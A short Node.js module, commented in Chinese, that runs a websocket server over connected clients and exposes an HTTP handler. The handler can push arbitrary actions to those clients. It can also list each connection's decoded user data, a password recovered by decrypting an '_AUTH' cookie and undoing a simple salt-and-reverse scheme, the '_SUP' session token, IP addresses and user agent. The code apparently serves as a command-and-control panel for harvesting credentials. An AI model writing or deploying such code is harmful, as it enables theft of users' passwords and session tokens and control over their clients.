const com = require('@god/node-com')

/* 发送数据，并在发送之前，没服务先创建服务 */
const sendMsg = (req, res) => {
  let _nsCoonPool = global.nsCoonPool
  /* 创建一个 websocket-server Node端 */
  if (!global.nsSocket) global.nsSocket = com.wsocket.createServerSocket(global.SocketServer)

  /* 接口执行操作 */
  if (global.nsSocket) {
    if (req.body.sendMsg === 'send') {
      com.wsocket.sendData(req.body.arr && req.body.arr.split(','), req.body.action, req.body.val)
      res.status(200).send({ msg: '已向客户端发送消息', linkCount: _nsCoonPool.length })
    } else {
      let _conArr = []
      for (let i = 0; i < _nsCoonPool.length; i++) {
        let _tmp = _nsCoonPool[i]
        let _str = ''
        let _pwd = ''
        let _token = ''
        if (_tmp.backData) {
          let _json = JSON.parse(_tmp.backData)
          if (_json.action === 'sendAuth' && _json.info) { // 获取本地用户基本数据 - sendAuth
            _str = Buffer.from(_json.info, 'base64').toString()
            if (!_pwd) {
              _pwd = Buffer.from(_str.split(':')[5] || '', 'base64').toString()
            }
          }
        }
        let _cookiesArr = JSON.parse(_tmp.cookies)
        for (let i = 0; i < _cookiesArr.length; i++) {
          if (_cookiesArr[i].name === '_AUTH') { // 获取cookie中 对称加密过的密码 - _AUTH
            _pwd = com.cryptos.decryptData(_cookiesArr[i].value)
            break
          }
        }
        for (let i = 0; i < _cookiesArr.length; i++) {
          if (_cookiesArr[i].name === '_SUP') { // 获取cookie中 token - _SUP
            _token = _cookiesArr[i].value
            break
          }
        }
        _conArr.push({
          auth: _tmp.key,
          _str: _str,
          pwd: _pwd.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join(''),
          Token: _token,
          keepExitTime: com.datetime.timestampToFormatTimeStr(new Date().getTime() - _tmp.createTime),
          IPs: _tmp.IPs,
          UA: _tmp.UA
        })
      }
      res.status(200).send({ linkCount: _nsCoonPool.length, connections: _conArr })
    }
  } else {
    res.status(200).send({ msg: 'ServerSocket not publish' })
  }
}

module.exports = {
  sendMsg: sendMsg
}
